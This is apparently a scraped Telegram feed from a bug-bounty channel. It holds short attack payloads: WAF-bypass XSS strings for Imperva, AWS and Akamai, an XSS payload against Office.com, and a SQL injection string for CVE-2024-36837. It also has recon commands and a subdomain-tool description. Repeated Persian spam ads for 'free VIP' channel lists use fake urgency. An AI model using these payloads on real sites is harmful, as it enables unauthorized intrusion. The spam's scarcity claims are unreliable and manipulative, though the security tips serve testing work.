BugCod3

WAF bypass payloads - Imperva/AWS <details/open/id="&quot;"ontoggle=[JS]> - Akamai <details open id="' &quot;'"ontoggle=[JS]>`` #WAF #Bypass ➖➖➖➖➖➖➖➖➖➖ 👤 T.me/BugCod3BOT 📣 T.me/BugCod3

❌ ۱۸ نفر دیگه!!!! ❗️ بعدش لینک باطل میشه.... https://t.me/addlist/rqQPyfbnM39lYjdk 🟣🟣🟣🟣🟣🟣🟣🟣🟣🟣 @TabeViP    هماهنگی تبادلات و تبلیغ

❌👆👆 این کانال ها برای صد نفر اول رایگانه ..... ظرفیت باقی مانده محدود

⬅️⬅️⬅️⬅️🤔✅🤔 ➡️➡️➡️➡️ هزینه ورود به این‌ کانال ها5️⃣میلیون میباشد فقط امشب میزارم تا لینک باطل نشده جوین بده⏬ https://t.me/addlist/rqQPyfbnM39lYjdk 👍👍👍 💜 @TabeViP 💜 👍👍👍

❌ ۱۸ نفر دیگه!!!! ‼️ بعدش لینک باطل میشه.... https://t.me/addlist/VL3DepeLyg03Mzdk ➖➖➖➖➖➖➖➖➖➖ @TabeViP    هماهنگی تبادلات و تبلیغ

کانال های vip تلگرامو‌ یجا داشته باش 👆 ✅فقط برای صد نفر اول رایگانه ❌ ظرفیت باقی مانده ۳۷ نفر .....

VIP: 〽️〽️〽️〽️🌟 💵 🌟〽️〽️〽️〽️ هزینه ورود به این‌کانال های VIP 5⃣ میلیون میباشد فقط دو دقیقه میزارم تا لینک باطل نشه⬇️ https://t.me/addlist/VL3DepeLyg03Mzdk 🔴🔴🔴  ❤️ @TabeViP ❤️ 🔴🔴🔴

SubCerts 💬 SubCerts is an automated tool designed to extract subdomains from certificate transparency logs using the crt.sh API. This tool allows security researchers, penetration testers, and developers to identify subdomains of a target domain by leveraging publicly available certificates. 📊 Features: ⚪️ Subdomain Extraction: Utilizes crt.sh, a certificate transparency log search engine, to gather subdomains associated with a target domain. ⚪️ HTTP Probing: Automatically sends HTTP/HTTPS requests to each extracted subdomain using httpx and returns: ⚫️ HTTP status codes ⚫️ Page titles ⚫️ Silent output for clean and organized results ⚪️ Automation: Run the tool with a simple command and get results efficiently without manual effort. ⚪️ Flexible Output: Optionally save the extracted subdomains and httpx results to a file for later review. 🔼 Installation:

cd SubCerts
chmod +x *.sh
./setup.sh
./subcerts.sh -h

💻 Usage: To run SubCerts for a domain and save the results to a file:

./subcerts.sh -u example.com --output results.txt

😸 Github ⬇️ Download 🔒 BugCod3 #BugBounty #SubDomain #certificate ➖➖➖➖➖➖➖➖➖➖ 👤 T.me/BugCod3BOT 📣 T.me/BugCod3

❌ ۱۸ نفر دیگه!!!! ‼️ بعدش لینک باطل میشه.... https://t.me/addlist/9bppSIkgncFlOGY0 ➖➖➖➖➖➖➖➖➖➖➖ @TabeViP    هماهنگی تبادلات و تبلیغ

کانال های vip تلگرامو‌ یجا داشته باش 👆 ✅فقط برای صد نفر اول رایگانه ❌ ظرفیت باقی مانده ۳۷ نفر .....

🟣🟣🟣🟣 🌟 💲 🌟🟣 🟣🟣🟣 هزینه ورود به این‌کانال ها2️⃣میلیون میباشد فقط دو دقیقه میزارم تا لینک باطل نشه🔽 https://t.me/addlist/9bppSIkgncFlOGY0 🔄🔄🔄  ❤️ @TabeViP ❤️ 🔄🔄🔄

XSS in Office.com. The + made a difference. Payload:‍‍‍

`'>+<script>alert()</script>`

#BugBounty #Tips #XSS ➖➖➖➖➖➖➖➖➖➖ 👤 T.me/BugCod3BOT 📣 T.me/BugCod3

JS Recon for IP, Hostname, URL from Waybackurls + LazyEgg

waybackurls target | grep '\.js$' | awk -F '?' '{print $1}' | sort -u | xargs -I{} bash -c 'python lazyegg[.]py "{}" --js_urls --domains --ips' > jsurls && cat jsurls | grep '\.' | sort -u

#BugBounty #Tips ➖➖➖➖➖➖➖➖➖➖ 👤 T.me/BugCod3BOT 📣 T.me/BugCod3

SQLI Injection CVE: 2024-36837 Payload:

0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334 

#BugBounty #Tips ➖➖➖➖➖➖➖➖➖➖ 👤 T.me/BugCod3BOT 📣 T.me/BugCod3

❌ ۱۸ نفر دیگه!!!! ‼️ بعدش لینک باطل میشه.... https://t.me/addlist/FzmRvMO6ridlZjA0 ➖➖➖➖➖➖➖➖➖➖➖ @TabeViP    هماهنگی تبادلات و تبلیغ

کانال های vip تلگرامو‌ یجا داشته باش 👆 ✅فقط برای صد نفر اول رایگانه ❌ ظرفیت باقی مانده ۳۷ نفر .....

🟣🟣🟣🟣 🌟 💸 🌟🟣 🟣🟣🟣 هزینه ورود به این‌کانال ها2️⃣میلیون میباشد فقط دو دقیقه میزارم تا لینک باطل نشه⬇️ https://t.me/addlist/FzmRvMO6ridlZjA0 🔄🔄🔄  ❤️ @TabeViP ❤️ 🔄🔄🔄 دورهمی ارسال محتوای ادبی آزاد

❌❌ دو ساعت دیگه پاک میشه ....

❌فرصت برای جوین محدود ظرفیت باقی مانده ۵۸ نفر

💸💲💵💵💵💵💵💵💲💸 ✅ باور نمیکنی اگه بگم این همه کانال پولی تو لیست زیر به ارزش5️⃣میلیون تومن رو فقط امشب رایگان گذاشتم⬇️ https://t.me/addlist/F75BolT45CxiMGI0 ➡️➡️➡️ 🛑 @TabeViP 🛑 ⬅️⬅️⬅️